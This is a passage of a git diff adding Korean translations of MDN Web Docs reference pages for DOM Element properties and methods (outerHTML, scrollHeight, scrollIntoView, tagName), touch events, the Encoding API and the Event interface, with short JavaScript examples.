outerHTML로 값을 읽어올 때는 요소와 요소의 자식 요소가 직렬화된 HTML이 포함된 {{domxref("DOMString")}}을 반환합니다. outerHTML로 값을 설정할 때는 요소와 요소의 모든 자식 요소를 htmlString 형태로 파싱된 새로운 DOM 트리 구조로 대체합니다.

+ +

예외

+ +
+
SyntaxError
+
유효하지 않은 HTML 문자열을 사용해 outerHTML을 설정하도록 시도할 경우 SyntaxError 예외가 발생합니다. 
+
NoModificationAllowedError
+
{{domxref("Document.documentElement")}}와 같이 {{domxref("Document")}}의 바로 아래 자식 요소에 outerHTML을 설정하도록 시도할 경우 NoModificationAllowedError 예외가 발생합니다.
+
+ +

예제

+ +

다음은 요소의 outerHTML 속성을 가져오는 예시입니다.

+ +
// HTML:
+// <div id="d"><p>Content</p><p>Further Elaborated</p></div>
+
+d = document.getElementById("d");
+console.log(d.outerHTML);
+
+// '<div id="d"><p>Content</p><p>Further Elaborated</p></div>'
+// 위 문자열이 콘솔창에 출력됩니다.
+
+ +

다음은 outerHTML 속성으로 노드를 대체하는 예시입니다.

+ +
// HTML:
+// <div id="container"><div id="d">This is a div.</div></div>
+
+container = document.getElementById("container");
+d = document.getElementById("d");
+console.log(container.firstChild.nodeName); // "DIV"를 출력합니다.
+
+d.outerHTML = "<p>This paragraph replaced the original div.</p>";
+console.log(container.firstChild.nodeName); // "P"를 출력합니다.
+
+// #d의 div 요소가 문서 트리에서 제거되고,
+// 새 p 요소로 대체되었습니다.
+
+ +

참고

+ +

부모 요소가 없는 요소에 outerHTML 속성을 설정하려고 하면 변경되지 않습니다. 많은 브라우저는 예외를 발생시킵니다. 아래는 예시입니다.

+ +
var div = document.createElement("div");
+div.outerHTML = "<div class=\"test\">test</div>";
+// 많은 브라우저에서 DOMException 예외를 발생시킵니다.
+console.log(div.outerHTML); // 결과: "<div></div>"
+ +

또한, 문서 내의 요소가 변경되더라도 변수의 outerHTML 속성은 원본 요소를 계속 참조합니다.

+ +
var p = document.getElementsByTagName("p")[0];
+console.log(p.nodeName); // "P"를 출력합니다.
+p.outerHTML = "<div>This div replaced a paragraph.</div>";
+console.log(p.nodeName); // 여전히 "P"를 출력합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#outerhtml', 'Element.outerHTML')}}{{ Spec2('DOM Parsing') }} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.outerHTML")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/element/removeattribute/index.html b/files/ko/web/api/element/removeattribute/index.html new file mode 100644 index 0000000000..d31f6ded75 --- /dev/null +++ b/files/ko/web/api/element/removeattribute/index.html @@ -0,0 +1,66 @@ +--- +title: Element.removeAttribute() +slug: Web/API/Element/removeAttribute +tags: + - API + - DOM + - Element + - Method + - Reference +translation_of: Web/API/Element/removeAttribute +--- +
{{APIRef("DOM")}}
+ +

Element.removeAttribute() 메서드는 요소에서 주어진 이름의 특성을 제거합니다.

+ +

구문

+ +
element.removeAttribute(attrName);
+
+ +

매개변수

+ +
+
attrName
+
요소에서 제거할 특성 이름을 지정하는 {{domxref("DOMString")}}. 지정하지 않으면 오류 없이 아무 동작도 하지 않습니다.
+
+ +

반환 값

+ +

{{jsxref("undefined")}}.

+ +

사용 일람

+ +

많은 특성은 {{jsxref("null")}}을 대입했을 때 예상치 못한 동작을 하곤 합니다. 그러므로 특성을 삭제할 때 null을 직접 대입하거나, {{domxref("Element.setAttribute", "setAttribute()")}}의 매개변수로 제공하기보단 removeAttribute() 메서드를 사용해야 합니다.

+ +

예제

+ +
// Given: <div id="div1" align="left" width="200px">
+document.getElementById("div1").removeAttribute("align");
+// Now: <div id="div1" width="200px">
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-removeattribute', 'Element" removeAttribute')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.removeAttribute")}}

diff --git a/files/ko/web/api/element/scrollheight/index.html b/files/ko/web/api/element/scrollheight/index.html new file mode 100644 index 0000000000..32b5f72eb1 --- /dev/null +++ b/files/ko/web/api/element/scrollheight/index.html @@ -0,0 +1,168 @@ +--- +title: Element.scrollHeight +slug: Web/API/Element/scrollHeight +tags: + - API + - Element + - Property + - Reference +translation_of: Web/API/Element/scrollHeight +--- +

{{ APIRef("DOM") }}

+ +

Element.scrollHeight 읽기 전용 속성은 요소 콘텐츠의 총 높이를 나타내며, 바깥으로 넘쳐서 보이지 않는 콘텐츠도 포함합니다.

+ +

scrollHeight 값은 수직 스크롤바를 사용하지 않고 요소의 콘텐츠를 모두 나타낼 때 필요한 최소 높이의 값과 동일합니다. 높이 측정은 {{domxref("Element.clientHeight", "clientHeight")}}와 동일한 방법을 사용하여 요소의 안쪽 여백은 포함하고, 테두리와 바깥 여백, (존재하는 경우) 수평 스크롤바의 높이는 포함하지 않습니다. 또한 {{cssxref("::before")}}, {{cssxref("::after")}} 등 의사 요소의 높이도 결과에 포함합니다. 요소의 콘텐츠를 수직 스크롤바 없이 모두 보일 수 있는 경우의 scrollHeightclientHeight와 동일합니다.

+ +
+

scrollHeight의 반환 값은 정수로 반올림됩니다. 소수점을 포함한 값이 필요한 경우 {{domxref("Element.getBoundingClientRect()")}}를 사용하세요.

+
+ +

구문

+ +
var intElemScrollHeight = element.scrollHeight;
+
+ +

intElemScrollHeight은 요소 scrollHeight의 픽셀 값을 저장하는 정수형 변수입니다.

+ +

예제

+ +
+
+

padding-top

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

+ +

Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

+ +

padding-bottom

+
+Left Top Right Bottom margin-top margin-bottom border-top border-bottom
+ +

Image:scrollHeight.png

+ +

문제와 해결책

+ +

요소를 끝까지 스크롤했는지 판별하기

+ +

다음 등식이 참인 경우 요소를 끝까지 스크롤한 것입니다.

+ +
element.scrollHeight - element.scrollTop === element.clientHeight
+ +

컨테이너가 스크롤 대신 오버플로된 자식을 노출하는 경우, 다음 검사로 컨테이너가 스크롤 가능한지 알아볼 수 있습니다.

+ +
window.getComputedStyle(element).overflowY === 'visible'
+window.getComputedStyle(element).overflowY !== 'hidden'
+ +

예제

+ +

onscroll이벤트를 함께 사용하여, 내용을 다 읽었는지 확인할 수 있습니다. (element.scrollTop 과 element.clientHeight 를 참조하세요).

+ +

HTML

+ +
<form name="registration">
+  <p>
+    <textarea id="rules">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum at laoreet magna.
+Aliquam erat volutpat. Praesent molestie, dolor ut eleifend aliquam, mi ligula ultrices sapien, quis cursus
+neque dui nec risus. Duis tincidunt lobortis purus eu aliquet. Quisque in dignissim magna. Aenean ac lorem at
+velit ultrices consequat. Nulla luctus nisi ut libero cursus ultrices. Pellentesque nec dignissim enim. Phasellus
+ut quam lacus, sed ultricies diam. Vestibulum convallis rutrum dolor, sit amet egestas velit scelerisque id.
+Proin non dignissim nisl. Sed mi odio, ullamcorper eget mattis id, malesuada vitae libero. Integer dolor lorem,
+mattis sed dapibus a, faucibus id metus. Duis iaculis dictum pulvinar. In nisi nibh, dapibus ac blandit at, porta
+at arcu. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent
+dictum ipsum aliquet erat eleifend sit amet sollicitudin felis tempus. Aliquam congue cursus venenatis. Maecenas
+luctus pellentesque placerat. Mauris nisl odio, condimentum sed fringilla a, consectetur id ligula. Praesent sem
+sem, aliquet non faucibus vitae, iaculis nec elit. Nullam volutpat, lectus et blandit bibendum, nulla lorem congue
+turpis, ac pretium tortor sem ut nibh. Donec vel mi in ligula hendrerit sagittis. Donec faucibus viverra fermentum.
+Fusce in arcu arcu. Nullam at dignissim massa. Cras nibh est, pretium sit amet faucibus eget, sollicitudin in
+ligula. Vivamus vitae urna mauris, eget euismod nunc. Aenean semper gravida enim non feugiat. In hac habitasse
+platea dictumst. Cras eleifend nisl volutpat ante condimentum convallis. Donec varius dolor malesuada erat
+consequat congue. Donec eu lacus ut sapien venenatis tincidunt. Quisque sit amet tellus et enim bibendum varius et
+a orci. Donec aliquet volutpat scelerisque. Proin et tortor dolor. Ut aliquet, dolor a mattis sodales, odio diam
+pulvinar sem, egestas pretium magna eros vitae felis. Nam vitae magna lectus, et ornare elit. Morbi feugiat, ipsum
+ac mattis congue, quam neque mollis tortor, nec mollis nisl dolor a tortor. Maecenas varius est sit amet elit
+interdum quis placerat metus posuere. Duis malesuada justo a diam vestibulum vel aliquam nisi ornare. Integer
+laoreet nisi a odio ornare non congue turpis eleifend. Cum sociis natoque penatibus et magnis dis parturient montes,
+nascetur ridiculus mus. Cras vulputate libero sed arcu iaculis nec lobortis orci fermentum.
+    </textarea>
+  </p>
+  <p>
+    <input type="checkbox" name="accept" id="agree" />
+    <label for="agree">동의합니다</label>
+    <input type="submit" id="nextstep" value="다음" />
+  </p>
+</form>
+ +

CSS

+ +
#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}
+ +

JavaScript

+ +
function checkReading () {
+  if (checkReading.read) {
+    return;
+  }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ? "감사합니다" : "다음 내용을 확인해주십시오";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}
+ +

{{ EmbedLiveSample('scrollHeight_Demo', '640', '400') }}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-element-scrollheight", "Element.scrollHeight")}}{{Spec2("CSSOM View")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.scrollHeight")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/element/scrollintoview/index.html b/files/ko/web/api/element/scrollintoview/index.html new file mode 100644 index 0000000000..1736aa2e40 --- /dev/null +++ b/files/ko/web/api/element/scrollintoview/index.html @@ -0,0 +1,88 @@ +--- +title: element.scrollIntoView +slug: Web/API/Element/scrollIntoView +translation_of: Web/API/Element/scrollIntoView +--- +
+

{{APIRef("DOM")}}

+ + + +

{{domxref("Element")}} 인터페이스의 scrollIntoView() 메소드는 scrollIntoView()가 호출 된 요소가 사용자에게 표시되도록 요소의 상위 컨테이너를 스크롤합니다.

+
+ +

문법

+ +
element.scrollIntoView();
+element.scrollIntoView(alignToTop); // Boolean parameter
+element.scrollIntoView(scrollIntoViewOptions); // Object parameter
+ +
+
+

Parameters

+
+
alignToTop {{optional_inline}}
+
{{jsxref("Boolean")}} 값: +
    +
  • true일때, the top of the element will be aligned to the top of the visible area of the scrollable ancestor. Corresponds to scrollIntoViewOptions: {block: "start", inline: "nearest"}. This is the default value.
  • +
  • false일때, the bottom of the element will be aligned to the bottom of the visible area of the scrollable ancestor. Corresponds to scrollIntoViewOptions: {block: "end", inline: "nearest"}.
  • +
+
+
scrollIntoViewOptions {{optional_inline}} {{experimental_inline}}
+
다음의 프로퍼티를 가지는 객체
+
+
+
behavior {{optional_inline}}
+
전환에니메이션을 정의.
+ "auto""smooth"중 하나 선택. 기본값은 "auto".
+
block {{optional_inline}}
+
수직 정렬을 정의
+ "start""center""end""nearest"중 하나 선택. 기본값은 "start".
+
inline {{optional_inline}}
+
수평 정렬을 정함
+ One of "start""center""end""nearest"중 하나 선택. 기본값은 "nearest".
+
+
+
+ +

예제

+ +
var element = document.getElementById("box");
+
+element.scrollIntoView();
+element.scrollIntoView(false);
+element.scrollIntoView({block: "end"});
+element.scrollIntoView({behavior: "smooth", block: "end", inline: "nearest"});
+ +

Notes

+ + + +

다른 요소의 레이아웃에 따라 위쪽 또는 아래쪽으로 완전히 스크롤되지 않을 수 있습니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-element-scrollintoview", "Element.scrollIntoView()")}}{{Spec2("CSSOM View")}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Element.scrollIntoView")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/element/tagname/index.html b/files/ko/web/api/element/tagname/index.html new file mode 100644 index 0000000000..ecbbc3a405 --- /dev/null +++ b/files/ko/web/api/element/tagname/index.html @@ -0,0 +1,62 @@ +--- +title: Element.tagName +slug: Web/API/Element/tagName +translation_of: Web/API/Element/tagName +--- +
{{ApiRef("DOM")}}
+ +

{{domxref("Element")}} 인터페이스의 tagName 읽기 전용 속성은 요소에 호출된 태그 명을 가져온다. 예를 들면, 만약 {{HTMLElement("img")}} 요소일 경우, 해당 요소의 tagName 속성의 내용은 "IMG" 가 된다 (XML/XHTML 및 HTML 문서에서 대소문자가 다르게 나올 수 있다).

+ +

구문

+ +
elementName = Element.tagName;
+
+ +

Value

+ +

태그 명이 명시된 문자열을 가져온다, 이 때, 아래 경우에 따라 대소문자가 달라질 수 있다.

+ + + +

{{domxref("Element")}} 객체에서 사용하는 tagName 속성의 값은 {{domxref("Node")}} 객체의 {{domxref("Node.nodeName", "nodeName")}} 속성과 동일한 값을 가져온다.

+ +

예시

+ +

HTML

+ +
<span id="born">내가 어렸을 적...</span>
+
+ +

JavaScript

+ +
var span = document.getElementById("born");
+console.log(span.tagName);
+
+ +

XHTML (또는 여느 XML 방식) 문서의 경우, 정의한 태그 명 그대로 가져오기 때문에, "span"  같은 소문자 태그명을 가져오게 될 것이다.그에 반해 HTML 문서에서는, 원본 문서에 정의된 태그명과 달리 대소문자를 무시하면서 대문자로만 이루어진 "SPAN" 값을 가져오게 된다.

+ +

규격

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-tagname', 'Element: tagName')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.tagName")}}

diff --git a/files/ko/web/api/element/touchcancel_event/index.html b/files/ko/web/api/element/touchcancel_event/index.html new file mode 100644 index 0000000000..e5b198282b --- /dev/null +++ b/files/ko/web/api/element/touchcancel_event/index.html @@ -0,0 +1,116 @@ +--- +title: touchcancel +slug: Web/API/Element/touchcancel_event +translation_of: Web/API/Element/touchcancel_event +--- +

touchcancel 이벤트는  터치포인트가 현재 구현된 방식안에서 방해 받을때 ( 예를들어 너무 많은 터치 포인트)  발생한다.

+ +

General info

+ +
+
Specification
+
Touch Events
+
Interface
+
TouchEvent
+
Bubbles
+
Yes
+
Cancelable
+
No
+
Target
+
Document, Element
+
Default Action
+
None
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
touches {{readonlyInline}}TouchListA list of Touches for every point of contact currently touching the surface.
targetTouches {{readonlyInline}}TouchListA list of Touches for every point of contact that is touching the surface and started on the element that is the target of the current event.
changedTouches {{readonlyInline}}TouchListA list of Touches for every point of contact which contributed to the event.
+ For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

Examples

+ +

해당 이벤트의 샘플코드는 Touch events 에서 확인할 수 있다.

+ + + + diff --git a/files/ko/web/api/encoding_api/index.html b/files/ko/web/api/encoding_api/index.html new file mode 100644 index 0000000000..04581b999a --- /dev/null +++ b/files/ko/web/api/encoding_api/index.html @@ -0,0 +1,62 @@ +--- +title: 인코딩 API +slug: Web/API/Encoding_API +tags: + - API + - 개요 + - 레퍼런스 + - 인코딩 +translation_of: Web/API/Encoding_API +--- +

{{DefaultAPISidebar("Encoding API")}}{{SeeCompatTable}}

+ +

인코딩 API는 {{Glossary("문자 인코딩", "character encodings")}}, {{Glossary("UTF-8")}}이 아닌 레거시 인코딩을 포함한 다양한 문자열을 제어할 수 있는 매커니즘을 제공한다.

+ +

인코딩 API는 4가지 인터페이스를 제공한다. {{domxref("TextDecoder")}}, {{domxref("TextEncoder")}}, {{domxref("TextDecoderStream")}}, {{domxref("TextEncoderStream")}} 등 이다.

+ +

Interfaces

+ +
+ +
+ +

Tutorials & tools

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Encoding")}}{{Spec2("Encoding")}}Initial definition.
+ +

Browser compatibility

+ + + +

TextDecoder

+ +

{{Compat("api.TextDecoder")}}

+ +

TextEncoder

+ +

{{Compat("api.TextEncoder")}}

diff --git a/files/ko/web/api/event/cancelable/index.html b/files/ko/web/api/event/cancelable/index.html new file mode 100644 index 0000000000..4c3154cebe --- /dev/null +++ b/files/ko/web/api/event/cancelable/index.html @@ -0,0 +1,23 @@ +--- +title: event.cancelable +slug: Web/API/Event/cancelable +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Event/cancelable +--- +

{{ ApiRef() }}

+

개요

+

이벤트의 취소가 가능한지를 나타냅니다.

+

구문

+
bool = event.cancelable;
+
+

이벤트에 규정한 액션을 취소할 수 있는가의 가능여부에 따라서 bool은 true 또는 false가 됩니다.

+

주의

+

이벤트취소의 가능여부는 이벤트의 초기화 시에 판별됩니다.

+

이벤트를 취소하기 위해 preventDefault 메소드를 호출하게 되며, 관련 이벤트에 규정된 액션을 실행하지 않도록 합니다.

+

사양

+

DOM Level 2 Events: cancelable

+

 

+

{{ languages( { "en": "en/DOM/event.cancelable", "es": "es/DOM/event.cancelable", "pl": "pl/DOM/event.cancelable", "ja": "ja/DOM/event.cancelable" } ) }}

diff --git a/files/ko/web/api/event/cancelbubble/index.html b/files/ko/web/api/event/cancelbubble/index.html new file mode 100644 index 0000000000..174565f9c4 --- /dev/null +++ b/files/ko/web/api/event/cancelbubble/index.html @@ -0,0 +1,90 @@ +--- +title: Event.cancelBubble +slug: Web/API/Event/cancelBubble +translation_of: Web/API/Event/cancelBubble +--- +

{{APIRef("DOM Events")}}

+ +

Event.cancelBubble 속성은 {{domxref("Event.stopPropagation()")}}의 별칭입니다. 이벤트 핸들러에서 반환되기 전에 값을 true로 설정하면 이벤트가 전파되지 않습니다.

+ +

Syntax

+ +
event.cancelBubble = bool;
+var bool = event.cancelBubble;
+
+ +

Example

+ +
elem.onclick = function(e) {
+ // do cool things here
+  e.cancelBubble = true;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-event-cancelbubble', 'cancellBubble')}}{{Spec2('DOM WHATWG')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(53)}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(53)}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Previous to Firefox 53, this property was defined on the {{domxref("UIEvent")}} interface. See {{bug(1298970)}} for more details.

diff --git a/files/ko/web/api/event/createevent/index.html b/files/ko/web/api/event/createevent/index.html new file mode 100644 index 0000000000..ef05a699e4 --- /dev/null +++ b/files/ko/web/api/event/createevent/index.html @@ -0,0 +1,29 @@ +--- +title: Event.createEvent() +slug: Web/API/Event/createEvent +translation_of: Web/API/Document/createEvent +--- +

{{APIRef("DOM")}}

+ +

새로운 event를 생성합니다, 새로 만들어진 event는 반드시 자신의 init() method를 호출함으로써 초기화되어야만 합니다.

+ +

Syntax

+ +
document.createEvent(type) 
+ +
+
type
+
A string indicating the event type to create.
+
+ +

이 method는 명시된 타입인 새로운 DOM {{ domxref("Event") }} 객체를 반환하며 이는 반드시 사용 전에 초기화되어야만 합니다.

+ +

Example

+ +
var newEvent = document.createEvent("UIEvents");
+ +

Specification

+ + diff --git a/files/ko/web/api/event/event/index.html b/files/ko/web/api/event/event/index.html new file mode 100644 index 0000000000..5ba8e6a6c4 --- /dev/null +++ b/files/ko/web/api/event/event/index.html @@ -0,0 +1,77 @@ +--- +title: Event() +slug: Web/API/Event/Event +tags: + - API + - Constructor + - DOM + - Event + - Reference +translation_of: Web/API/Event/Event +--- +

{{APIRef("DOM")}}

+ +

Event() constructor는 새로운 {{domxref("Event")}} 객체를 생성합니다.

+ +

Syntax

+ +
new Event(typeArg[, eventInit]);
+ +

Values

+ +
+
typeArg
+
이 인자는 {{domxref("DOMString")}} 입니다. event의 이름을 나타냅니다.
+
eventInit {{optional_inline}}
+
이 인자는 EventInit dictionary, 입니다. 아래의 추가 옵션 필드가 있습니다. +
    +
  • bubbles:  {{jsxref("Boolean")}} 값을 받습니다. 해당 event가 bubble인지 아닌지 결정합니다. 기본값은 false 입니다.
  • +
  • cancelable: {{jsxref("Boolean")}} 값을 받습니다.event가 캔슬 될 수 있는지 없는지 결정합니다. 기본값은false 입니다.
  • +
  • composed: {{jsxref("Boolean")}} 값을 받습니다. event가 shadow root 바깥의 eventListener 들도 trigger 할 것인지 결정합니다. (더 자세한 내용은 이곳에서 {{domxref("Event.composed")}} ). 기본값은 false 입니다.
  • +
+
+
+ +

Example

+ +
// create a look event that bubbles up and cannot be canceled
+
+var evt = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(evt);
+
+// event can be dispatched from any element, not only the document
+myDiv.dispatchEvent(evt);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-event-event','Event()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Event.Event")}}

+ +

See also

+ + diff --git a/files/ko/web/api/event/eventphase/index.html b/files/ko/web/api/event/eventphase/index.html new file mode 100644 index 0000000000..895222832d --- /dev/null +++ b/files/ko/web/api/event/eventphase/index.html @@ -0,0 +1,179 @@ +--- +title: Event.eventPhase +slug: Web/API/Event/eventPhase +translation_of: Web/API/Event/eventPhase +--- +

{{ApiRef("DOM")}}

+ +

현재 발생중인 이벤트 흐름의 단계를 나타냅니다.

+ +

Syntax

+ +
var phase = event.eventPhase;
+
+ +

이벤트 흐름의 최근 실행 단계에 대한 지정된 정수값을 반환합니다. 가능한 값은 {{anch("이벤트 단계 상수")}} 목록을 참조.

+ +

Constants

+ +

Event phase constants

+ +

이 값들은 이벤트 흐름의 현재 실행 단계를 나타냅니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
Event.NONE0아무런 이벤트도 발생하지 않았습니다.
Event.CAPTURING_PHASE1이벤트가 상위 개체를 통해 전파됩니다. 이 프로세스는 {{domxref("Window")}},  {{domxref("Document")}}에서 시작하여,  {{domxref("HTMLHtmlElement")}} 등 대상의 부모에 도달할 때까지 요소들을 통과합니다. 이 단계에서 {{domxref("EventTarget.addEventListener()")}} 가 호출될 때 캡처 모드에 있는 {{domxref("EventListener", "Event listeners", "", 1)}} 가 트리거됩니다.
Event.AT_TARGET2이벤트가 {{domxref("EventTarget", "the event's target", "", 1)}}에 도착했습니다. 이 단계에서 등록된 이벤트 리스너가 이 때 호출됩니다. 만약  {{domxref("Event.bubbles")}} 이 false 라면, 이 단계가 완료된 다음 이벤트 진행은 종료됩니다.
Event.BUBBLING_PHASE3이벤트가 역순으로 대상의 조상을 통해 전파됩니다. 대상의 부모부터 시작해서, {{domxref("Window")}}를 포함하는 단계까지 도달합니다. 이는 버블링으로 알려져 있으며, {{domxref("Event.bubbles")}}가 true 일 때만 발생합니다. 이 프로세스 중에 이 단계에 등록된 {{domxref("EventListener", "Event listeners", "", 1)}} 가 트리거됩니다.
+ +

더 상세한 내용은 DOM Level 3 Events 명세인 section 3.1, Event dispatch and DOM event flow 를 참고하세요.

+ +

Example

+ +

HTML Content

+ +
<h4>Event Propagation Chain</h4>
+<ul>
+  <li>Click 'd1'</li>
+  <li>Analyse event propagation chain</li>
+  <li>Click next div and repeat the experience</li>
+  <li>Change Capturing mode</li>
+  <li>Repeat the experience</li>
+</ul>
+<input type="checkbox" id="chCapture" />
+<label for="chCapture">Use Capturing</label>
+ <div id="d1">d1
+  <div id="d2">d2
+      <div id="d3">d3
+          <div id="d4">d4</div>
+      </div>
+  </div>
+ </div>
+ <div id="divInfo"></div>
+
+ +

CSS Content

+ +
div {
+  margin: 20px;
+  padding: 4px;
+  border: thin black solid;
+}
+
+#divInfo {
+  margin: 18px;
+  padding: 8px;
+  background-color:white;
+  font-size:80%;
+}
+ +

JavaScript Content

+ +
var clear = false, divInfo = null, divs = null, useCapture = false;
+window.onload = function () {
+  divInfo = document.getElementById("divInfo");
+  divs = document.getElementsByTagName('div');
+  chCapture = document.getElementById("chCapture");
+  chCapture.onclick = function () {
+    RemoveListeners();
+    AddListeners();
+  }
+  Clear();
+  AddListeners();
+}
+
+function RemoveListeners() {
+  for (var i = 0; i < divs.length; i++) {
+    var d = divs[i];
+    if (d.id != "divInfo") {
+      d.removeEventListener("click", OnDivClick, true);
+      d.removeEventListener("click", OnDivClick, false);
+    }
+  }
+}
+
+function AddListeners() {
+  for (var i = 0; i < divs.length; i++) {
+    var d = divs[i];
+    if (d.id != "divInfo") {
+      if (chCapture.checked)
+        d.addEventListener("click", OnDivClick, true);
+      else
+        d.addEventListener("click", OnDivClick, false);
+      d.onmousemove = function () { clear = true; };
+    }
+  }
+}
+
+function OnDivClick(e) {
+  if (clear) {
+    Clear(); clear = false;
+  }
+  if (e.eventPhase == 2)
+    e.currentTarget.style.backgroundColor = 'red';
+  var level = e.eventPhase == 0 ? "none" : e.eventPhase == 1 ? "capturing" : e.eventPhase == 2 ? "target" : e.eventPhase == 3 ? "bubbling" : "error";
+  divInfo.innerHTML += e.currentTarget.id + "; eventPhase: " + level + "<br/>";
+}
+
+function Clear() {
+  for (var i = 0; i < divs.length; i++) {
+    if (divs[i].id != "divInfo")
+      divs[i].style.backgroundColor = (i & 1) ? "#f6eedb" : "#cceeff";
+  }
+  divInfo.innerHTML = '';
+}
+ +

{{ EmbedLiveSample('Example', '', '700', '', 'Web/API/Event/eventPhase') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-eventphase", "Event.eventPhase")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-event-eventphase", "Event.eventPhase")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-Event-eventPhase", "Event.eventPhase")}}{{Spec2("DOM2 Events")}}Initial definition
diff --git a/files/ko/web/api/event/index.html b/files/ko/web/api/event/index.html new file mode 100644 index 0000000000..04c4bc5695 --- /dev/null +++ b/files/ko/web/api/event/index.html @@ -0,0 +1,212 @@ +--- +title: Event +slug: Web/API/Event +tags: + - API + - DOM + - Event + - Interface + - Reference + - UI + - 이벤트 +translation_of: Web/API/Event +--- +

{{ APIRef("DOM") }}

+ +

Event 인터페이스는 DOM 내에 위치한 이벤트를 나타냅니다.

+ +

이벤트는 마우스를 클릭하거나 키보드를 누르는 등 사용자 액션에 의해 발생할 수도 있고, 혹은 비동기적 작업의 진행을 나타내기 위해 API가 생성할 수도 있습니다. 요소의 {{domxref("HTMLElement.click()")}} 메서드를 호출하거나, 이벤트를 정의한 후 특정 대상에 대해서 {{domxref("EventTarget.dispatchEvent()")}}를 사용하는 등 프로그래밍적으로도 만들어낼 수 있습니다.

+ +

이벤트의 종류는 다양하며 일부는 Event 인터페이스의 파생 인터페이스를 사용합니다. Event 자체는 모든 이벤트에 공통된 속성과 메서드를 가집니다.

+ +

많은 DOM 요소는 이벤트를 받고("수신"), 받은 이벤트를 "처리"하는 코드를 실행할 수 있습니다. 이벤트 처리기는 대개 {{domxref("EventTarget.addEventListener()")}}를 사용해 다양한 요소(<button>, <div>, <span>, 등등)에 "부착"합니다. 그리고 제대로 추가한 경우, 반대로 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}}로 제거할 수도 있습니다.

+ +
+

